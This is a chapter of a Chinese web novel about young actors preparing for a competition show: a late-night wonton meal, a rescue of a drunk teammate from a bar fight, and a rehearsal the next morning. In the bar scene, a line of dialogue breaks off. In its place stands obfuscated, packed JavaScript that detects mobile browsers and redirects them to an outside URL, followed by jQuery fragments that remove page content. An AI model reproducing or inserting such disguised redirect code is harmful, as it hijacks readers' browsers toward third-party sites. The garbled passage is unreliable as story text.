74. 平凡落地

作品:《第一万零一次月升

    “姐,这就不排了?”


    “不排了,回去在心里悟悟就行,不要浪费情绪,到了台上会干巴的。”


    “可是姐我们还没对反应呢,到时候会不会没默契啊?”


    “还有什么反应?演员要学会保护自己的情绪,不要机械的练。”


    英姐离开后,三人成了一盘散沙,一转身的功夫丁泽诺又没了人影,苏芷也有事要忙先离开了。


    练习室里一瞬间安静了下来,夏季午后的阳光从落地窗中铺展开来,人群离开后才感受到这间屋子的存在。


    好漂亮的练习室。


    安夕走到镜子前,是这张熟悉的脸。


    “将你的全身心交给角色。”


    薄薄几页的剧本只是简单描述了下剧情走向,撑不起人物的血肉灵魂,机械地排练走位无法让安夕真正感受到角色的存在。


    没办法,如果不能梳理清楚人物的心路历程,大脑便一刻也不会安宁,表演也就无法生动,这是安夕从一开始便养成的习惯。


    在落地窗前席地而坐,安夕将剧本铺开,一点一点勾勒角色细节。


    大女儿阿晴,会如何看自己的母亲和妹妹?为什么内心深处想要逃离这个家?她小小年纪扛下属于母亲的重担,工作后见识了更多同龄人,才知道原来本可以不用这么累。


    厌倦、疲惫、羡慕在内心不安份的搅动。


    男朋友张逸成了一个出口,她渴望建立一个正常的、温暖的家庭,为自己寻一份依靠,不再独自承受生活的重量。


    可是,渴望得到依靠是悲剧的开始,张逸的背叛激发了她独立自强的本性。从小坚强虽然压抑了天真,却磨砺出坚韧的内心。关于与张逸的美好未来破灭后,她看见自己作为一棵大树在风雨中坚韧不拔的样子,妹妹这朵小花,妈妈这颗脆弱的内心,都依赖着自己,终于接受了作为大树存在的身份。


    所以阿晴是孤傲的,虽然一度沉迷于爱情的美梦之中,但她并不卑微,只是小心翼翼的感受做一朵娇嫩小花的滋味。美梦破碎,大树繁密的根系迅速从内心深处吸取养分,她不会崩溃,只会更昂扬的展示那繁密的枝桠,这是生活给的磨难,也是她磨砺出的资本,在这里,她是女王。?


    边练边悟,将剧本的缝隙一一填充,让角色的灵魂充盈起来,不知不觉已经深夜,手里的人物小传已是厚厚一沓。


    伸个懒腰,结束一天战斗。安夕将练习室打扫干净,打开手机翻翻信息,社交平台上的私信翻涌进来,前两天迟到的事情正在发酵,点开一两篇私信果然全是骂声。


    关了手机,肚子叫了几声。


    好饿。


    来到一楼的食堂,里面已经熄灯了,只有一个卖馄饨的窗口还亮着。


    “这么晚呐?”


    老板见人来,从木屉里拿出馄饨,锅里的水还在翻滚,馄饨入锅后,拿碗装些干紫菜,虾米,盐,胡椒粉,转身馄饨便也就可以捞上来了。


    “您这么晚也没收摊呢?”


    “这大楼里总有加班的人,吃口热乎的舒服,我反正回去也没什么事。”


    捞起混沌,再浇一勺热汤,最后淋上香油。


    “筷子勺子在那边自己拿啊,嘿你看,最晚的那个来了。”


    安夕朝入口看过去,熟悉的身影,拖沓的脚步,慢慢悠悠朝这边走来。


    大眼睛下一片乌青,许翊辰被分在了S组,对戏的是几位大咖级演员,怕是压力不小。


    “阿晴,初次见面。”


    他笑嘻嘻的伸出手。


    “神经。”


    安夕翻了个白眼,端走自己的馄饨。


    许翊辰笑嘻嘻跟老板打过招呼,追上来说着:“你还别说,我刚刚在远处看你,真就觉得是阿晴,恭喜恭喜,入戏了哈。”


    “你现在的样子也特别像大哥身边的小弟。”


    “是嘛!那说明我也到位了,嘿嘿。”


    热气向上升腾,打湿了睫毛,落在了眼睛里,他鼓起腮班子又吹了吹,那眼睛便更亮了。


    在喧嚣的夏季,内心的一股欲望也在用力的升腾,很多时候陷于这股迷雾重重的欲望,仿佛置身于云端,看到的想到的全是虚无缥缈的景象。


    想逃离此刻,奔赴梦里的远方。


    而许翊辰总能让一切平凡的落地。


    在这昏暗的食堂,平凡的日子里,看见此时此刻的自己,尊重真实但不完美的自己,这是一股更强大的向下扎根的力量。


    “想什么呢?安夕?”


    “这家馄饨好吃,以后晚上排练不怕点不到外卖了。”


    “队友怎么样?第一轮是团队赛,”


    “挺好的,英姐是大前辈了,很有经验,效率超高,苏芷和丁泽诺和我一样,也是新人,比较有共鸣。”


    “安夕!大晚上在这偷吃!”


    周怡菲突然出现,一副捉奸成功的邪恶模样。


    “谁偷吃了!大晚上的你怎么在这?”


    “这话问的,谁让你们偷吃也不找个隐蔽的地方,食堂是大家的,我想来就来。”


    “再强调一次!我们不是偷吃!说吧,来这干嘛,有屁快放!”


    周怡菲拍了拍安夕脑袋,“女演员,说话注意点!我是来提醒你后院着火了。”


    安夕抚了抚头发,被没头没尾的话弄懵了,“后院着火,啥意思?”


    周怡菲见她憨憨傻傻的模样,愈发得意,忍不住一股脑吐出所有前方资讯,“这几天我让阿康盯紧迟旭川,省得这货给我惹事,没想到在他常去的酒吧发现了你们组的丁泽诺,这小子长得乖巧玩得挺花,这会应该还在酒吧打群架呢,你们组啊怕是活不过这一轮哦。”


    “什么!他在哪!”


    千辛万苦走到今日,可不想因为这种奇葩原因被淘汰,安夕拔腿就跑。


    周怡菲在后面兴奋地喊道,“别激动啊,我知道在哪,顺路!捎你一程!”


    许翊辰也硬蹭了上来,周怡菲看他哪哪都不爽。


    “许老头,你自己没车吗?”


    “刚好送去保修了,反正顺路,多一个人不多嘛。”


    “谁说不多了,就你自觉!”


    酒吧在市中心,但位置却是极其隐蔽,穿过打掩护的虚假门店,从暗门进入,再走过一条长长的地下阶梯,推开门便是一番混战景象了。


    丁泽诺正骑在一人身上,叫嚣着要灌他一百杯,三人见状齐齐跑上去拦下。


    丁泽诺起身站不稳,直直往安夕怀里倒,许翊辰手比眼快,一把将人搂住。周怡菲则直接将外套扔那人头上,只要盖住了嘴脸,被拍了死不承认就行,这方面经验足得很。


    “配合挺默契吗,许老头?”


    “别磨蹭,前面开路。”


    “少指挥我做事啊,安夕你开路


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15685887|160462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    “这个时候还能吵,真行!”


    三人经验充足,配合默契,三五分钟内已经将人扔车里了。


    “你们他丫的谁啊,带老子去哪啊?”


    丁泽诺人清晰了一点,但不多,在车里闹了起来。


    “哦,小三姐,傻子哥,呦呵!还有个暴躁前女友,你们怎么在这啊?”


    “年纪不大,口气不小啊,怎么称呼前辈呢!信不信叫你经纪人揍你!”


    周怡菲消息灵通,精准拿捏这小子的痛处,丁泽诺谁都不服,唯独怕他的亲姐姐兼经纪人,毕竟从小的血脉压制,打起来那叫一个毁天灭地。


    “别别别,有话咱好好说,别拿经纪人开玩笑,话说,你们找我干嘛啊?”


    丁泽诺坐着并不安分,一颗头东倒西歪,几次靠在许翊辰肩膀上,被嫌弃推开后,又欲往安夕怀里靠,许翊辰心中后悔给这小子扔错了位置,只好一把将人搂怀里。


    “哥,你身上好香啊。”


    “闭嘴。”


    “傻子哥,你叫什么来着?”


    “闭嘴。”


    “无趣,小三姐我俩是不是一组来着?”


    许翊辰一把将人捞过来,胡乱将外套盖在他头上,“睡吧你!”


    周怡菲一脚油门驶离了是非地,但该把这人送哪呢?


    “许翊辰,这家伙交给你了,明早准时送来排练。”


    “嗯。”


    在演播厅最近的宾馆丢下两人,周怡菲颇为兴奋地喊道,“行踪隐蔽点,别闹出乌龙哈!”


    许翊辰幽怨地看了两人一眼,一把扛起已经彻底睡死过去的丁泽诺,颇为坚定地说道:“放心吧,明天一定把人扔到排练室。”


    第二日清晨丁泽诺从练习室中醒来,肚子上唯一一块小毛毯昭告着一片良心。


    只是这是谁的良心?昨晚自己是怎么到这里来的?按理说,再怎么失去理智,哪怕脑袋被门挤了,应该也不会往练习室跑!


    丁泽诺揉揉脑袋,努力回想昨夜发生的一切,门突然被打开,两人都吓了一跳。


    安夕放下啃了一半的包子,“丁泽诺?你居然这么早,包子吃吗?”


    “小三姐?”


    安夕瞪了一眼,“大早上别找抽啊。”


    “我怎么在这?你知道吗?”


    “合着许翊辰昨晚把你丢这的?”


    “许翊辰?谁啊?”


    “你傻子哥,不是……既然来了赶紧排练吧。”


    丁泽诺挠挠头,“练什么?”


    安夕无奈叹气,这小子真的完全不把比赛放心上,“戏,咱们明天就要二轮竞演了,这事您还记得吗?”


    丁泽诺走到镜子前理理衣服,毫不在意地说着,“我当什么呢?就这戏还有什么好排的,咱们倒数淘汰不是必然的吗,何必白费力气。”


    安夕见人又要跑,赶紧挡在门口,“还没比就认输,原来你这么胆小啊?”


    丁泽诺双手插兜,俯下身来挑眉说道,“激将法啊?我不吃这套。”


    这小子长得人高马大的,凑近了压迫感不小,但安夕突然想到昨晚周怡菲说过这小子最怕他姐揍他。


    一咬牙一跺脚,用力拧住他耳朵,将人拖回练习室中间,“今天不排10个回合别想走!”


    “哎!哎?有话好好说,别动手啊!”


    “练不练?”